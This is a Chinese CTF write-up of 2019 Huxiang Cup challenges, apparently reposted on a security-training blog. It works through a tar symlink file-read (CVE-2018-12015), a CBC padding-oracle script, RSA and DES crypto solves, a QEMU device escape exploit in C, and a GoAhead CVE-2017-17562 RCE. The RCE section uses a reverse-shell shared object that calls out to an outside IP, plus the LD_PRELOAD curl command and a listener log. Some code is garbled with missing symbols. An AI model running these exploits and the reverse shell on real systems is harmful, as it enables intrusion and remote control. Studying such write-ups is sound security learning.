2019湖湘杯部分WP
2019湖湘杯部分WP
原创: z3r0yu 合天智汇
原创投稿活动:重金悬赏 | 合天原创投稿等你来
0x01 untar
直接访问题目可以看到源码
?php $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]); echo $sandbox."/br>"; @mkdir($sandbox); @chdir($sandbox); if (isset($_GET["url"]) $url = str_replace("|", "", $_GET["url"]); $data = shell_exec("GET " . escapeshellarg($url)); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); shell_exec("UNTAR ".escapeshellarg(basename($info["basename"]))); highlight_file(__FILE__);但是直接传马发现不解析,于是搜索了一下,发现 CVE-2018-12015: Archive::Tar: directory traversal
利用这个软连接可以来进行任意文件读取,具体poc如下
ln -s /var/www/html/index.php content tar cvf exp.tar content tar -tvvf exp.tar php -S 0.0.0.0:2233http://183.129.189.62:16407/?url=http://ezlovell.zeroyu.xyz:2233/exp.tar= block_size for i in range(ord(s[-1])): assert s[-1-i] == s[-1]#mark return s[:-1-i]
以及主程序的一段判断:
try: print "padplain_text:" + plain_text plain_text = check_pad(plain_text, AES.block_size) print "plain_text:"+plain_textexcept: print "padding error" sys.stdout.flush() returnif plain_text == 'Admin': print "Welcome admin, your flag is %s" % FLAG sys.stdout.flush() returnelse: print "YOU. SHALL. NOT. PASS!" sys.stdout.flush() return问题在于check_pad中要求pad的每一位都要一样,在解密不为admin的情况下也会又两种情况,一种通过check_pad返回"YOU. SHALL. NOT. PASS",一种不通过返回"padding error",可以根据这两点的不同来逐位计算出name。具体过程: 首先计算出位数,不同位数pad的值不一样,设定name = 'q'i,i取8-12位,payload = '~'15,计算newiv,只有取到正确的i时才可以过check_pad。 之后利用类似的方法由后至前逐位求出name,最后求出newiv,获得flag。脚本如下:
# -*- coding: utf-8 -*-# @Date: 2019-11-09 13:16:32# @Last Modified time: 2019-11-09 16:16:32 from pwn import *from Crypto.Cipher import AES def pad(s, block_size): return s + (block_size - len(s) % block_size) * chr(block_size - len(s) % block_size) if __name__ == "__main__": robj = remote("183.129.189.62", 19206) temporary = robj.recvline()[:-1] iv = str(temporary[-64: -32]) cipher = str(temporary[-32:]) temporary = robj.recvline() # cacl name suffix payload = '~'*15 for i in range(7, 13): name = 'q'*i iwt = int(iv, 16) ^ int(pad(payload, AES.block_size).encode('hex'), 16) ^ int(pad(name, AES.block_size).encode('hex'), 16) iwt = hex(iwt)[2:] + cipher robj.sendline(iwt) temporary = robj.recvline()[:-1] if 'padding error' not in temporary: break length = i the_true_name = '' for i in range(length): for j in range(33, 128): name = '~' * (length - 1 - i) + chr(j) + the_true_name payload = '~' * (len(name)-1 - i) iwt = int(iv, 16) ^ int(pad(payload, AES.block_size).encode('hex'), 16) ^ int( pad(name, AES.block_size).encode('hex'), 16) iwt = hex(iwt)[2:] + cipher robj.sendline(iwt) temporary = robj.recvline()[:-1] if 'padding error' not in temporary: the_true_name = chr(j) + the_true_name break user_role = "Admin" iwt = int(iv, 16) ^ int(pad(user_role, AES.block_size).encode('hex'), 16) ^ int(pad(the_true_name, AES.block_size).encode('hex'), 16) iwt = hex(iwt)[2:] + cipher robj.sendline(iwt) flag = robj.recvline()[:-1] print 'flag:' + str(flag)CBC相关知识学习可以学习实验——CBC字节翻转攻击:了解CBC模式实现流程、异或运算的高级应用、python中crypto库的使用以及cbc字节翻转攻击的原理与代码实。
学习地址:http://www.hetianlab.com/expc.do?ec=ECIDf328-1dc9-464c-918b-543b4a2d6590
0x11 rsa
题目是一个RSA加密,已知n,e,dp,c,求m,推理过程可以参考https://skysec.top/2018/08/24/RSA%E4%B9%8B%E6%8B%92%E7%BB%9D%E5%A5%97%E8%B7%AF(1)/
dp的意思为:dp≡d mod (p−1)
故此可以得到
k2∗(p−1)∗(q−1)+1=k1∗(p−1)+dp∗ek2∗(p−1)∗(q−1)+1=k1∗(p−1)+dp∗e
变换一下
(p−1)∗[k2∗(q−1)−k1]+1=dp∗e(p−1)∗[k2∗(q−1)−k1]+1=dp∗e
因为
dpp−1dpp−1
可以得到
e>k2∗(q−1)−k1e>k2∗(q−1)−k1
我们假设
x=k2∗(q−1)−k1x=k2∗(q−1)−k1
可以得到x的范围为
(0,e)(0,e)
因此有
x∗(p−1)+1=dp∗ex∗(p−1)+1=dp∗e
那么我们可以遍历
x∈(0,e)x∈(0,e)
求出p-1,求的方法也很简单,遍历65537种可能,其中肯定有一个p可以被n整除那么求出p和q,即可利用
ϕ(n)=(p−1)∗(q−1)d∗e≡1 mod ϕ(n)ϕ(n)=(p−1)∗(q−1)d∗e≡1 mod ϕ(n)
推出
d≡1∗e−1 mod ϕ(n)d≡1∗e−1 mod ϕ(n)
import gmpy2import libnumn = 22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611e = 65537dp = 84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725c = 14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735 for i in range(1,65538): if (dp*e-1)%i == 0: if n%(((dp*e-1)/i)+1)==0: p=((dp*e-1)/i)+1 q=n/(((dp*e-1)/i)+1) phi = (p-1)*(q-1) d = gmpy2.invert(e,phi)%phi print libnum.n2s(pow(c,d,n))0x12 DES
题目未知key,采用DES加密,已知Kn,也就是子密钥,已知mes加密的结果,要求求出mes以及key。 主要思路是这样,第一步通过DES子密钥求出密钥key,之后通过key直接进行解密求出mes,当然也可以直接用子密钥求解出mes。 通过子密钥求解key可以参考https://skysec.top/2017/12/25/%E4%B8%80%E9%81%93%E6%9C%89%E5%85%B3%E5%AF%86%E9%92%A5%E7%BC%96%E6%8E%92%E7%9A%84DES%E9%A2%98%E7%9B%AE/#%E7%94%B1%E5%AD%90%E5%AF%86%E9%92%A5%E5%8F%8D%E6%8E%A8deskey(飘零师傅NB,一搜又是你),一步一步求解,但是密钥生成子密钥的过程中有8位是没有用的,所以逆向推导子密钥会有8位是不确定的,遍历出来会有256个密钥,这256个密钥都可以用来加密解密,而且结果都是正确的。具体参考过程如下:
key1 = [1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0]__pc2 = [ 13,16,10,23,0,4, 2,27,14,5,20,9, 22,18,11,3,25,7, 15,6,26,19,12,1, 40,51,30,36,46,54, 29,39,50,44,32,47, 43,48,38,55,33,52, 45,41,49,35,28,31 ]C1D1 = ['*']*56for i in range(0,len(key1)): C1D1[__pc2[i]] = key1[i]print C1D1#[00000001*11111100*110*00*000# 011001*01*1101*0001011000*01]# you1C0 = '000000001*11111100*110*00*00'D0 = '1011001*01*1101*0001011000*01'__pc1 = [56,48,40,32,24,16,8, 0,57,49,41,33,25,17, 9,1,58,50,42,34,26, 18,10,2,59,51,43,35, 62,54,46,38,30,22,14, 6,61,53,45,37,29,21, 13,5,60,52,44,36,28, 20,12,4,27,19,11,3 ]C0D0 = C0+D0res = ['*']*64deskey = ""for i in range(0,len(__pc1)): res[__pc1[i]] = C0D0[i]for i in res: deskey += iprint deskey def zuoyiwei(str,num): my = str[num:len(str)] my = my+str[0:num] return mydef key_change_1(str): key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] res = "" for i in key1_list: res+=str[i-1] return res def key_change_2(str): key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] res = "" for i in key2_list: res+=str[i-1] return resdef key_gen(str): key_list = [] key_change_res = key_change_1(str) key_c = key_change_res[0:28] key_d = key_change_res[28:] for i in range(1,17): if (i==1) or (i==2) or (i==9) or (i==16): key_c = zuoyiwei(key_c,1) key_d = zuoyiwei(key_d,1) else: key_c = zuoyiwei(key_c,2) key_d = zuoyiwei(key_d,2) key_yiwei = key_c+key_d key_res = key_change_2(key_yiwei) key_list.append(key_res) return key_listdeskey = "01000abc01de111f0100100h0110010i0110111j01k00L1m0n0o010p0100001q"print key_gen(deskey)deskey = "0100000c0110111f0100100h0110010i0110111j0110011m0100010p0100001q"# ['101000001001011001000110001110110000011110011000','1k1o000000d101100n010010100l011000110110be1a0110','01100100kn010d10011100000011110ae00010111110010b','1d0001101101000n01010ok0000100b011l01e0011010011','00k01110d10000110101001n01l0e1111010010b00010a01','0010111n0101000100o010d1101010110e100101a10010l0','o0d0101100000001n10k10010b101l00110100110000011a','000n1k01010010o010011001e10101a0010001001l10b110','00o111010100n00k1d0010000l00000e11111b01010101a0','000100100dn010011000110k0110ba01101001001011l000','0001100k00101n0d000o0101111010010b0l11000a001e11','0n000o0100101100k010110d00001110a1010010e0l11110','110k00odn010010010100100b00101010101la011110010e','1101o00010001110d01000n01000a0e0100010b0111l0001','11nd0000101100100010ok10110b001l1a10111e00010101','10100000101ndk10o010011010100e011001a0l000001b11']# [101000001001011001000110001110110000011110011000], [111000000011011001010010100101100011011000100110],[011001001101011001110000001111000000101111100100],[110001101101000101010010000100001110100011010011], [001011101100001101010011011001111010010000010001],[001011110101000100001011101010110010010101001010],[001010110000000111011001001011001101001100000110],[000111010100100010011001010101000100010011100110],[000111010100100111001000010000001111100101010100],[000100100110100110001101011000011010010010111000],[000110010010110100000101111010010001110000001011],[010000010010110010101101000011100101001000111110],[110100011010010010100100000101010101100111100100],[110100001000111010100010100000001000100011110001],[111100001011001000100110110000111010111000010101],[101000001011111000100110101000011001001000001011] print key_gen(deskey) # deskey = "0100000"+c+"0110111"+f+"0100100"+h+"0110010"+i+"0110111"+j+"0110011"+m+"0100010"+p+"0100001"+qdef bintostr(str): res = "" for i in range(0, len(str), 8): res += chr(int(str[i:i+8],2)) return resfor c in "01": for f in "01": for h in "01": for i in "01": for j in "01": for m in "01": for p in "01": for q in "01": str = "0100000" + c + "0110111" + f + "0100100" + h + "0110010" + i + "0110111" + j + "0110011" + m + "0100010" + p + "0100001" + q str = bintostr(str) print +str求出256个密钥后用任一解密可以得到mes。然后就是让人秃头的地方,讲道理这里一般都有个啥暗示可以筛选或者看出来一个明显特定的密钥,开始我盲猜要是可见字符,然后全部都是,然后又根据其它flag盲猜是uuid,然后全部都不是。 然后比赛快结束的时候,木的办法的我只好遍历了256个flag,开始一个一个试,在经历了卡顿掉线重新登陆提交的20分钟后我试出来了,具体结果就不说了,这个key确实是一个特定的词,但是混在256个里面很难看出来。
PS: LT牛逼
DES算法相关知识可以学习实验——DES对称加密算法详解:了解DES加密算法的原理,了解加密过程和加密细节,并使用python简单实现DES加密的过程。点击文末“阅读原文”,开始学习!
0x13 云安全
Blizzard CTF 2017 Strng 魔改题,漏洞相同,仍然是pmio 地址没有校验的问题可以造成任意读写,只是把原来的函数指针改成了timer,通过读timer中的数据泄露地址,然后修改timer指针,触发timer,拿到flag
include assert.h>include fcntl.h>include inttypes.h>include stdio.h>include stdlib.h>include string.h>include sys/mman.h>include sys/types.h>include unistd.h>includesys/io.h> unsigned char* mmio_mem;uint32_t pmio_base=0xc050; void die(const char* msg){ perror(msg); exit(-1);} void mmio_write(uint32_t addr, uint32_t value){ *((uint32_t*)(mmio_mem + addr)) = value;} uint32_t mmio_read(uint32_t addr){ return *((uint32_t*)(mmio_mem + addr));} void pmio_write(uint32_t addr, uint32_t value){ outl(value,addr);} uint32_t pmio_read(uint32_t addr){ return (uint32_t)inl(addr);} uint32_t pmio_arbread(uint32_t offset){ pmio_write(pmio_base+0,offset); return pmio_read(pmio_base+4);} void pmio_abwrite(uint32_t offset, uint32_t value){ pmio_write(pmio_base+0,offset); pmio_write(pmio_base+4,value);} int main(int argc, char *argv[]){ // Open and map I/O memory for the strng device int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem @ %p\n", mmio_mem); //mmio_write(12,0x6f6f722f); //mmio_write(16,0x6c662f74); //mmio_write(20,0x6761); // Open and map I/O memory for the strng device if (iopl(3) !=0 ) die("I/O permission is not enough"); // leak heap address uint64_t timer_list_addr = pmio_arbread(0x10c); timer_list_addr = timer_list_addr 32; timer_list_addr += pmio_arbread(0x108); printf("[+] leak timer_list addr: 0x%lx\n", timer_list_addr); // leak text addr uint64_t cb_addr = pmio_arbread(0x114); cb_addr = cb_addr 32; cb_addr += pmio_arbread(0x110); uint64_t text_base = cb_addr - 0x29ac8e; uint64_t system_addr = text_base + 0x200D50; printf("[+] leak cb addr: 0x%lx\n", cb_addr); printf("[+] text base: 0x%lx\n", text_base); printf("[+] system addr: 0x%lx\n", system_addr); // leak opaque addr uint64_t opaque_addr = pmio_arbread(0x11c); opaque_addr = opaque_addr 32; opaque_addr += pmio_arbread(0x118); printf("[+] leak opaque addr: 0x%lx\n", opaque_addr); // write parameter addr first //pmio_abwrite(0x0, 0xffffffff); uint64_t para_addr = opaque_addr + 0xb04; pmio_abwrite(0x118, para_addr // set flag first and then overwrite timer func pointer and trigger timer mmio_write(12,0x20746163); // 'cat ' mmio_write(16, 0x67616c66); // 'flag' pmio_abwrite(0x110, system_addr printf("[+] flag: \n"); /* // leaking libc address uint64_t srandom_addr=pmio_arbread(0x108); srandom_addr=srandom_addr32; srandom_addr+=pmio_arbread(0x104); printf("leaking srandom addr: 0x%lx\n",srandom_addr); uint64_t libc_base= srandom_addr-0x43bb0; uint64_t system_addr= libc_base+0x4f440; printf("libc base: 0x%lx\n",libc_base); printf("system addr: 0x%lx\n",system_addr); // leaking heap address uint64_t heap_addr=pmio_arbread(0x1d0); heap_addr=heap_addr32; heap_addr+=pmio_arbread(0x1cc); printf("leaking heap addr: 0x%lx\n",heap_addr); uint64_t para_addr=heap_addr+0x39c7c; printf("parameter addr: 0xlx\n",para_addr); // overwrite rand_r pointer to system pmio_abwrite(0x114,system_addr mmio_write(0xc,0); */ }0x14 大数据
访问网站之后从源码中看到一个cgi链接,点进去发现用的GoAhead,所以直接参考泽哥的文章,exp直接秒掉
文章:https://ray-cp.github.io/archivers/CVE-2017-17562-GoAhead-rce
exp
#includestdio.h>#includestdlib.h>#includesys/socket.h>#includenetinet/in.h> char *server_ip="202.182.115.203";uint32_t server_port=7771; static void reverse_shell(void) __attribute__((constructor));static void reverse_shell(void) { //socket initialize int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker_addr = {0}; attacker_addr.sin_family = AF_INET; attacker_addr.sin_port = htons(server_port); attacker_addr.sin_addr.s_addr = inet_addr(server_ip); //connect to the server if(connect(sock, (struct sockaddr *) //dup the socket to stdin, stdout and stderr dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); //execute /bin/sh to get a shell execve("/bin/sh", 0, 0);}exp的使用
gcc -shared -fPIC ./exp.c -o exp.socurl -X POST --data-binary @exp.so http://183.129.189.62:14000/cgi-bin/index\?LD_PRELOAD\=/proc/self/fd/0之后服务器上进行监听即可
root@zerosll:~# nc -lvnp 7771Listening on [0.0.0.0] (family 0, port 7771)Connection from [183.129.189.58] port 7771 [tcp/*] accepted (family 2, sport 54228)cat /start.sh#!/bin/sh# Add your startup script # DO NOT DELETE# /etc/init.d/xinetd start;echo "$1";echo "$1" > /home/ctf/flag;while :do/usr/sbin/chroot --userspec 1000:1000 / /home/ctf/goahead -v --home /home/ctf/test /home/ctf/test/web 9999donecat /home/ctf/flagflag{2392862153ef30405ef5c972139102be}声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!